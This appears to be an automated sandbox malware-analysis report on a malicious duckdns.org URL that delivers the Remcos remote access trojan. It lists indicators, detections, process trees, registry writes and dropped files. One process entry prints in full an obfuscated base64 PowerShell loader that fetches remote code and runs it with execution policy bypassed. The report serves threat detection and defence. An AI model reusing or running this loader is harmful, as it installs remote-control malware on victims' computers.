Malware analysis http://asegurar4octubre.duckdns.org/ Malicious activity

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URL:	http://asegurar4octubre.duckdns.org/
Full analysis:	https://app.any.run/tasks/7168f369-26d3-4d24-90a6-5ff2915559d2
Verdict:	Malicious activity
Threats:	Remote access trojans (RATs) are a type of malware that enables attackers to establish complete to partial control over infected computers. Such malicious programs often have a modular design, offering a wide range of functionalities for conducting illicit activities on compromised systems. Some of the most common features of RATs include access to the users’ data, webcam, and keystrokes. This malware is often distributed through phishing emails and links. Remcos is a commercially distributed remote administration and surveillance tool that has been widely observed in unauthorized deployments, where threat actors use it to perform remote actions on compromised machines. It is actively maintained by its vendor, with new versions and feature updates released on a frequent, near-monthly basis. Remcos ist eine Malware vom Typ RAT, mit der Angreifer aus der Ferne Aktionen auf infizierten Computern durchführen können. Diese Malware ist extrem aktiv und wird fast jeden Monat mit Updates auf den neuesten Stand gebracht. Malware Trends Tracker >>>
Analysis date:	February 18, 2025, 22:39:08
OS:	Windows 10 Professional (build: 19045, 64 bit)
Tags:	opendir pastebin remcos rat remote
Indicators:
MD5:	B0D46E6BAC9BA141B02FA729CBCA9FB2
SHA1:	9AF35A62922839FE032297840E29835E514CC993
SHA256:	6A274E5CD585E56E7367001314EBAE6C1CD3C3F9E470AD5F1AAF108E618A5358
SSDEEP:	3:N1KfiCEwQ1IWin:CjEj1IWi

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 240 seconds
Heavy Evasion option:
Network geolocation:: off
Additional time used:: 180 seconds
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 11.3636.19041.0
Adobe Acrobat (64-bit) (23.001.20093)
Adobe Flash Player 32 NPAPI (32.0.0.465)
Adobe Flash Player 32 PPAPI (32.0.0.465)
CCleaner (6.20)
FileZilla 3.65.0 (3.65.0)
Google Chrome (122.0.6261.70)
Google Update Helper (1.3.36.51)
Java 8 Update 271 (64-bit) (8.0.2710.9)
Java Auto Updater (2.8.271.9)
Microsoft Edge (122.0.2365.59)
Microsoft Edge Update (1.3.185.17)
Microsoft Office Professional 2019 - de-de (16.0.16026.20146)
Microsoft Office Professional 2019 - en-us (16.0.16026.20146)
Microsoft Office Professional 2019 - es-es (16.0.16026.20146)
Microsoft Office Professional 2019 - it-it (16.0.16026.20146)
Microsoft Office Professional 2019 - ja-jp (16.0.16026.20146)
Microsoft Office Professional 2019 - ko-kr (16.0.16026.20146)
Microsoft Office Professional 2019 - pt-br (16.0.16026.20146)
Microsoft Office Professional 2019 - tr-tr (16.0.16026.20146)
Microsoft Office Professionnel 2019 - fr-fr (16.0.16026.20146)
Microsoft Office профессиональный 2019 - ru-ru (16.0.16026.20146)
Microsoft OneNote - en-us (16.0.16026.20146)
Microsoft Update Health Tools (3.74.0.0)
Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2015-2022 Redistributable (x64) - 14.36.32532 (14.36.32532.0)
Microsoft Visual C++ 2015-2022 Redistributable (x86) - 14.36.32532 (14.36.32532.0)
Microsoft Visual C++ 2022 X64 Additional Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X64 Minimum Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X86 Additional Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X86 Minimum Runtime - 14.36.32532 (14.36.32532)
Mozilla Firefox (x64 en-US) (123.0)
Mozilla Maintenance Service (123.0)
Notepad++ (64-bit x64) (7.9.1)
Office 16 Click-to-Run Extensibility Component (16.0.15726.20202)
Office 16 Click-to-Run Licensing Component (16.0.16026.20146)
Office 16 Click-to-Run Localization Component (16.0.15726.20202)
Office 16 Click-to-Run Localization Component (16.0.15928.20198)
PowerShell 7-x64 (7.3.5.0)
Skype version 8.104 (8.104)
Update for Windows 10 for x64-based Systems (KB4023057) (2.59.0.0)
Update for Windows 10 for x64-based Systems (KB4023057) (2.63.0.0)
Update for Windows 10 for x64-based Systems (KB4480730) (2.55.0.0)
Update for Windows 10 for x64-based Systems (KB5001716) (8.93.0.0)
VLC media player (3.0.11)
WinRAR 5.91 (64-bit) (5.91.0)
Windows PC Health Check (3.6.2204.08001)

Hotfixes

Client LanguagePack Package
DotNetRollup
DotNetRollup 481
FodMetadata Package
Foundation Package
Hello Face Package
InternetExplorer Optional Package
KB5003791
KB5011048
KB5015684
KB5033052
LanguageFeatures Basic en us Package
LanguageFeatures Handwriting en us Package
LanguageFeatures OCR en us Package
LanguageFeatures Speech en us Package
LanguageFeatures TextToSpeech en us Package
MSPaint FoD Package
MediaPlayer Package
Microsoft OneCore ApplicationModel Sync Desktop FOD Package
Microsoft OneCore DirectX Database FOD Package
NetFx3 OnDemand Package
Notepad FoD Package
OpenSSH Client Package
PowerShell ISE FOD Package
Printing PMCPPC FoD Package
Printing WFS FoD Package
ProfessionalEdition
QuickAssist Package
RollupFix
ServicingStack
ServicingStack 3989
StepsRecorder Package
TabletPCMath Package
UserExperience Desktop Package
WordPad FoD Package

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MALICIOUS
- Downloads the requested resource (POWERSHELL)
  - powershell.exe (PID: 3436)
  - powershell.exe (PID: 5916)
- Bypass execution policy to execute commands
  - powershell.exe (PID: 5916)
  - powershell.exe (PID: 3420)
- Changes powershell execution policy (Bypass)
  - powershell.exe (PID: 5916)
  - powershell.exe (PID: 3436)
- REMCOS mutex has been found
  - MSBuild.exe (PID: 5244)
- REMCOS has been detected (SURICATA)
  - MSBuild.exe (PID: 5244)
- REMCOS has been detected
  - MSBuild.exe (PID: 5244)
  - MSBuild.exe (PID: 5244)
- REMCOS has been detected (YARA)
  - MSBuild.exe (PID: 5244)
SUSPICIOUS
- Block-list domains
  - msedge.exe (PID: 7108)
- Gets or sets the security protocol (POWERSHELL)
  - powershell.exe (PID: 3436)
  - powershell.exe (PID: 5916)
- Uses base64 encoding (POWERSHELL)
  - powershell.exe (PID: 3436)
  - powershell.exe (PID: 3420)
- Runs shell command (SCRIPT)
  - wscript.exe (PID: 4992)
- Probably obfuscated PowerShell command line is found
  - wscript.exe (PID: 4992)
  - powershell.exe (PID: 3436)
- Starts POWERSHELL.EXE for commands execution
  - wscript.exe (PID: 4992)
  - powershell.exe (PID: 3436)
  - powershell.exe (PID: 5916)
- Gets content of a file (POWERSHELL)
  - powershell.exe (PID: 3436)
- Application launched itself
  - powershell.exe (PID: 3436)
  - powershell.exe (PID: 5916)
- The process executes Powershell scripts
  - powershell.exe (PID: 3436)
  - powershell.exe (PID: 5916)
- Probably download files using WebClient
  - powershell.exe (PID: 3436)
- Potential Corporate Privacy Violation
  - powershell.exe (PID: 5916)
  - powershell.exe (PID: 3420)
- Contacting a server suspected of hosting an CnC
  - MSBuild.exe (PID: 5244)
- Connects to unusual port
  - MSBuild.exe (PID: 5244)
- Reads security settings of Internet Explorer
  - MSBuild.exe (PID: 5244)
- There is functionality for taking screenshot (YARA)
  - MSBuild.exe (PID: 5244)
INFO
- Uses string replace method (POWERSHELL)
  - powershell.exe (PID: 3436)
  - powershell.exe (PID: 3420)
- Manual execution by a user
  - wscript.exe (PID: 4992)
  - notepad++.exe (PID: 7668)
  - notepad++.exe (PID: 5936)
- Checks supported languages
  - identity_helper.exe (PID: 8084)
  - MSBuild.exe (PID: 5244)
- Reads the computer name
  - identity_helper.exe (PID: 8084)
  - MSBuild.exe (PID: 5244)
- Reads Environment values
  - identity_helper.exe (PID: 8084)
- Converts byte array into Unicode string (POWERSHELL)
  - powershell.exe (PID: 3436)
- Application launched itself
  - msedge.exe (PID: 6864)
- Checks proxy server information
  - powershell.exe (PID: 5916)
  - powershell.exe (PID: 3420)
  - MSBuild.exe (PID: 5244)
- Disables trace logs
  - powershell.exe (PID: 5916)
  - powershell.exe (PID: 3420)
- Creates files or folders in the user directory
  - MSBuild.exe (PID: 5244)
- Reads the machine GUID from the registry
  - MSBuild.exe (PID: 5244)
- Creates files in the program directory
  - MSBuild.exe (PID: 5244)
- The sample compiled with english language support
  - msedge.exe (PID: 7624)
- Executable content was dropped or overwritten
  - msedge.exe (PID: 7624)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

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No Malware configuration.

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No data.

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All screenshots are available in the full report

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Total processes

177

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID

CMD

Path

Indicators

Parent process

644

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-appcompat-clear --mojo-platform-channel-handle=5812 --field-trial-handle=2420,i,3145728529689868577,8904705129187573045,262144 --variations-seed-version /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

—

msedge.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Microsoft Edge

Exit code:

Version:

122.0.2365.59

Modules

Images
c:\program files (x86)\microsoft\edge\application\msedge.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files (x86)\microsoft\edge\application\122.0.2365.59\msedge_elf.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll

2192

C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s Dnscache

C:\Windows\System32\svchost.exe

services.exe

User:

NETWORK SERVICE

Company:

Microsoft Corporation

Integrity Level:

SYSTEM

Description:

Host Process for Windows Services

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll

2676

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --mojo-platform-channel-handle=6368 --field-trial-handle=2420,i,3145728529689868577,8904705129187573045,262144 --variations-seed-version /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

—

msedge.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

LOW

Description:

Microsoft Edge

Exit code:

Version:

122.0.2365.59

Modules

Images
c:\program files (x86)\microsoft\edge\application\msedge.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files (x86)\microsoft\edge\application\122.0.2365.59\msedge_elf.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll

2904

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --mojo-platform-channel-handle=4940 --field-trial-handle=2420,i,3145728529689868577,8904705129187573045,262144 --variations-seed-version /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

—

msedge.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

LOW

Description:

Microsoft Edge

Exit code:

Version:

122.0.2365.59

Modules

Images
c:\program files (x86)\microsoft\edge\application\msedge.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files (x86)\microsoft\edge\application\122.0.2365.59\msedge_elf.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll

3420

"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\admin\AppData\Local\Temp\dll03.ps1

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows PowerShell

Exit code:

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\atl.dll

3436

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT★Hk★cwB0★GU★bQ★u★E4★ZQB0★C4★UwBl★HI★dgBp★GM★ZQBQ★G8★aQBu★HQ★TQBh★G4★YQBn★GU★cgBd★Do★OgBT★GU★YwB1★HI★aQB0★Hk★U★By★G8★d★Bv★GM★bwBs★C★★PQ★g★Fs★UwB5★HM★d★Bl★G0★LgBO★GU★d★★u★FM★ZQBj★HU★cgBp★HQ★eQBQ★HI★bwB0★G8★YwBv★Gw★V★B5★H★★ZQBd★Do★OgBU★Gw★cw★x★DI★Ow★k★Ho★RgBL★GE★QQ★g★D0★I★★n★Gg★d★B0★H★★cw★6★C8★LwBw★GE★cwB0★GU★YgBp★G4★LgBj★G8★bQ★v★HI★YQB3★C8★c★B6★Fg★RwBr★GE★eQBV★Cc★I★★7★CQ★SQBl★H★★RwBR★C★★PQ★g★Cg★I★Bb★FM★eQBz★HQ★ZQBt★C4★SQBP★C4★U★Bh★HQ★a★Bd★Do★OgBH★GU★d★BU★GU★bQBw★F★★YQB0★Gg★K★★p★C★★Kw★g★Cc★Z★Bs★Gw★M★★x★C4★d★B4★HQ★Jw★p★Ds★J★B3★GU★YgBD★Gw★aQBl★G4★d★★g★D0★I★BO★GU★dw★t★E8★YgBq★GU★YwB0★C★★UwB5★HM★d★Bl★G0★LgBO★GU★d★★u★Fc★ZQBi★EM★b★Bp★GU★bgB0★C★★Ow★k★FI★VgBV★Fg★dg★g★D0★I★★k★Hc★ZQBi★EM★b★Bp★GU★bgB0★C4★R★Bv★Hc★bgBs★G8★YQBk★FM★d★By★Gk★bgBn★Cg★I★★k★Ho★RgBL★GE★QQ★g★Ck★I★★7★CQ★UgBW★FU★W★B2★C★★f★★g★E8★dQB0★C0★RgBp★Gw★ZQ★g★C0★RgBp★Gw★ZQBQ★GE★d★Bo★C★★J★BJ★GU★c★BH★FE★I★★t★EU★bgBj★G8★Z★Bp★G4★Zw★g★Cc★VQBU★EY★O★★n★C★★LQBm★G8★cgBj★GU★I★★7★CQ★UwBU★GY★RwBs★C★★PQ★g★Cg★I★Bb★FM★eQBz★HQ★ZQBt★C4★SQBP★C4★U★Bh★HQ★a★Bd★Do★OgBH★GU★d★BU★GU★bQBw★F★★YQB0★Gg★K★★p★C★★Kw★g★Cc★Z★Bs★Gw★M★★y★C4★d★B4★HQ★Jw★p★C★★Ow★k★F★★a★By★Gw★Tg★g★D0★I★BO★GU★dw★t★E8★YgBq★GU★YwB0★C★★UwB5★HM★d★Bl★G0★LgBO★GU★d★★u★Fc★ZQBi★EM★b★Bp★GU★bgB0★C★★Ow★k★F★★a★By★Gw★Tg★u★EU★bgBj★G8★Z★Bp★G4★Zw★g★D0★I★Bb★FM★eQBz★HQ★ZQBt★C4★V★Bl★Hg★d★★u★EU★bgBj★G8★Z★Bp★G4★ZwBd★Do★OgBV★FQ★Rg★4★C★★Ow★k★EQ★S★B6★FU★QQ★g★C★★PQ★g★Cg★I★BH★GU★d★★t★EM★bwBu★HQ★ZQBu★HQ★I★★t★F★★YQB0★Gg★I★★k★Ek★ZQBw★Ec★UQ★g★Ck★I★★7★CQ★dQBU★Gw★S★B6★C★★PQ★g★CQ★U★Bo★HI★b★BO★C4★R★Bv★Hc★bgBs★G8★YQBk★FM★d★By★Gk★bgBn★Cg★I★★k★EQ★S★B6★FU★QQ★g★Ck★I★★7★CQ★dQBU★Gw★S★B6★C★★f★★g★E8★dQB0★C0★RgBp★Gw★ZQ★g★C0★RgBp★Gw★ZQBQ★GE★d★Bo★C★★J★BT★FQ★ZgBH★Gw★I★★t★GY★bwBy★GM★ZQ★g★Ds★J★BN★E8★R★BS★Gc★I★★9★C★★I★★n★CQ★cgB5★GE★ZQBH★C★★PQ★g★Cg★RwBl★HQ★LQBD★G8★bgB0★GU★bgB0★C★★LQBQ★GE★d★Bo★C★★Jw★n★Cc★I★★r★C★★J★BT★FQ★ZgBH★Gw★I★★r★C★★Jw★n★Cc★I★★t★EU★bgBj★G8★Z★Bp★G4★Zw★g★FU★V★BG★Dg★KQ★7★Cc★I★★7★CQ★TQBP★EQ★UgBn★C★★Kw★9★C★★JwBb★EI★eQB0★GU★WwBd★F0★I★★k★EY★eQBm★GQ★eg★g★D0★I★Bb★HM★eQBz★HQ★ZQBt★C4★QwBv★G4★dgBl★HI★d★Bd★Do★OgBG★HI★bwBt★EI★YQBz★GU★Ng★0★FM★d★By★Gk★bgBn★Cg★I★★k★HI★eQBh★GU★Rw★u★HI★ZQBw★Gw★YQBj★GU★K★★n★Cc★J★★k★CQ★J★★n★Cc★L★★n★Cc★QQ★n★Cc★KQ★g★Ck★I★★7★Cc★I★★7★CQ★TQBP★EQ★UgBn★C★★Kw★9★C★★JwBb★FM★eQBz★HQ★ZQBt★C4★QQBw★H★★R★Bv★G0★YQBp★G4★XQ★6★Cc★I★★r★C★★Jw★6★EM★dQBy★HI★ZQBu★HQ★R★Bv★G0★YQBp★G4★LgBM★G8★YQBk★Cg★I★★k★EY★eQBm★GQ★eg★g★Ck★Lg★n★C★★Ow★k★E0★TwBE★FI★Zw★g★Cs★PQ★g★Cc★RwBl★HQ★V★B5★H★★ZQ★o★C★★Jw★n★FQ★ZQBo★HU★b★Bj★Gg★ZQBz★Fg★e★BY★Hg★e★★u★EM★b★Bh★HM★cw★x★Cc★Jw★g★Ck★LgBH★GU★d★BN★Cc★I★★7★CQ★TQBP★EQ★UgBn★C★★Kw★9★C★★JwBl★HQ★a★Bv★GQ★K★★g★Cc★JwBN★HM★cQBC★Ek★YgBZ★Cc★Jw★g★Ck★LgBJ★G4★dgBv★Gs★ZQ★o★C★★J★Bu★HU★b★Bs★C★★L★★g★Fs★bwBi★Go★ZQBj★HQ★WwBd★F0★I★★o★C★★Jw★n★HQ★e★B0★C4★NQ★y★D★★MgBm★GY★ZQB0★HM★bwBz★C8★cwBk★GE★bwBs★G4★dwBv★GQ★LwBy★GU★bgBl★HQ★cwBv★HM★Mw★y★DE★Lw★x★GU★cgBy★G8★d★Bj★GU★a★★v★Gc★cgBv★C4★d★Bl★Gs★YwB1★GI★d★Bp★GI★Lw★v★Do★cwBw★HQ★d★Bo★Cc★Jw★g★Cw★I★★n★Cc★JQBK★Gs★UQBh★HM★R★Bm★Gc★cgBU★Gc★JQ★n★Cc★I★★s★C★★Jw★n★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★Xw★t★C0★LQ★t★C0★LQ★t★Cc★Jw★s★C★★Jw★n★D★★Jw★n★Cw★I★★n★Cc★MQ★n★Cc★L★★g★Cc★JwBS★G8★Z★Bh★Cc★Jw★g★C★★KQ★g★Ck★I★★7★Cc★I★★7★CQ★VgBC★Fc★VwB6★C★★PQ★g★Cg★I★Bb★FM★eQBz★HQ★ZQBt★C4★SQBP★C4★U★Bh★HQ★a★Bd★Do★OgBH★GU★d★BU★GU★bQBw★F★★YQB0★Gg★K★★p★C★★Kw★g★Cc★Z★Bs★Gw★M★★z★C4★c★Bz★DE★Jw★g★Ck★I★★7★CQ★TQBP★EQ★UgBn★C★★f★★g★E8★dQB0★C0★RgBp★Gw★ZQ★g★C0★RgBp★Gw★ZQBQ★GE★d★Bo★C★★J★BW★EI★VwBX★Ho★I★★g★C0★ZgBv★HI★YwBl★C★★OwBw★G8★dwBl★HI★cwBo★GU★b★Bs★C★★LQBF★Hg★ZQBj★HU★d★Bp★G8★bgBQ★G8★b★Bp★GM★eQ★g★EI★eQBw★GE★cwBz★C★★LQBG★Gk★b★Bl★C★★J★BW★EI★VwBX★Ho★I★★7★★==';$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $IuJUJJZz.replace('★','A') ) );$Yolopolhggobek = $Yolopolhggobek.replace('%JkQasDfgrTg%', 'C:\Users\admin\Downloads\sostener2.vbs');powershell $Yolopolhggobek;

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

—

wscript.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows PowerShell

Exit code:

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll

3464

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --mojo-platform-channel-handle=4176 --field-trial-handle=2420,i,3145728529689868577,8904705129187573045,262144 --variations-seed-version /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

—

msedge.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

LOW

Description:

Microsoft Edge

Exit code:

Version:

122.0.2365.59

Modules

Images
c:\program files (x86)\microsoft\edge\application\msedge.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files (x86)\microsoft\edge\application\122.0.2365.59\msedge_elf.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll

3876

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-appcompat-clear --mojo-platform-channel-handle=6684 --field-trial-handle=2420,i,3145728529689868577,8904705129187573045,262144 --variations-seed-version /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

—

msedge.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Microsoft Edge

Exit code:

Version:

122.0.2365.59

Modules

Images
c:\program files (x86)\microsoft\edge\application\msedge.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files (x86)\microsoft\edge\application\122.0.2365.59\msedge_elf.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll

4008

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --mojo-platform-channel-handle=796 --field-trial-handle=2420,i,3145728529689868577,8904705129187573045,262144 --variations-seed-version /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

—

msedge.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

LOW

Description:

Microsoft Edge

Exit code:

Version:

122.0.2365.59

Modules

Images
c:\program files (x86)\microsoft\edge\application\msedge.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files (x86)\microsoft\edge\application\122.0.2365.59\msedge_elf.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll

4504

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --mojo-platform-channel-handle=4232 --field-trial-handle=2420,i,3145728529689868577,8904705129187573045,262144 --variations-seed-version /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

—

msedge.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

LOW

Description:

Microsoft Edge

Exit code:

Version:

122.0.2365.59

Modules

Images
c:\program files (x86)\microsoft\edge\application\msedge.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files (x86)\microsoft\edge\application\122.0.2365.59\msedge_elf.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll

Add for printing

Total events

23 935

Read events

23 872

Write events

Delete events

Modification events


(PID) Process:	(6736) iexplore.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:	write	Name:	CachePrefix
Value:
(PID) Process:	(6736) iexplore.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:	write	Name:	CachePrefix
Value: Cookie:
(PID) Process:	(6736) iexplore.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:	write	Name:	CachePrefix
Value: Visited:
(PID) Process:	(6736) iexplore.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Main
Operation:	write	Name:	CompatibilityFlags
Value: 0
(PID) Process:	(6736) iexplore.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones
Operation:	write	Name:	SecuritySafe
Value: 1
(PID) Process:	(6736) iexplore.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Main
Operation:	write	Name:	DisableFirstRunCustomize
Value: 1
(PID) Process:	(6864) msedge.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\Microsoft\EdgeUpdate\Clients\{56EB18F8-B008-4CBD-B6D2-8C97FE7E9062}\Commands\on-logon-autolaunch
Operation:	write	Name:	Enabled
Value: 0
(PID) Process:	(6864) msedge.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Operation:	write	Name:	MicrosoftEdgeAutoLaunch_29EBC4579851B72EE312C449CF839B1A
Value: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
(PID) Process:	(6864) msedge.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\Microsoft\Edge\Profiles
Operation:	write	Name:	EnhancedLinkOpeningDefault
Value: Default
(PID) Process:	(6864) msedge.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowProperties\262842
Operation:	write	Name:	WindowTabManagerFileMappingId
Value: {326DD1AD-5BBE-41B3-A3F7-751EC3FB3C23}

Add for printing

Executable files

Suspicious files

208

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
6864	msedge.exe	C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\parcel_tracking_db\LOG.old~RF135caa.TMP		—
		MD5:—	SHA256:—
6864	msedge.exe	C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\parcel_tracking_db\LOG.old		—
		MD5:—	SHA256:—
6864	msedge.exe	C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\PersistentOriginTrials\LOG.old~RF135cc9.TMP		—
		MD5:—	SHA256:—
6864	msedge.exe	C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\discounts_db\LOG.old~RF135cc9.TMP		—
		MD5:—	SHA256:—
6864	msedge.exe	C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\discounts_db\LOG.old		—
		MD5:—	SHA256:—
6864	msedge.exe	C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\PersistentOriginTrials\LOG.old		—
		MD5:—	SHA256:—
6864	msedge.exe	C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\EdgePushStorageWithConnectTokenAndKey\LOG.old~RF135ce8.TMP		—
		MD5:—	SHA256:—
6864	msedge.exe	C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\EdgePushStorageWithConnectTokenAndKey\LOG.old		—
		MD5:—	SHA256:—
6864	msedge.exe	C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\commerce_subscription_db\LOG.old~RF135ce8.TMP		—
		MD5:—	SHA256:—
6864	msedge.exe	C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\commerce_subscription_db\LOG.old		—
		MD5:—	SHA256:—

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Add for printing

HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
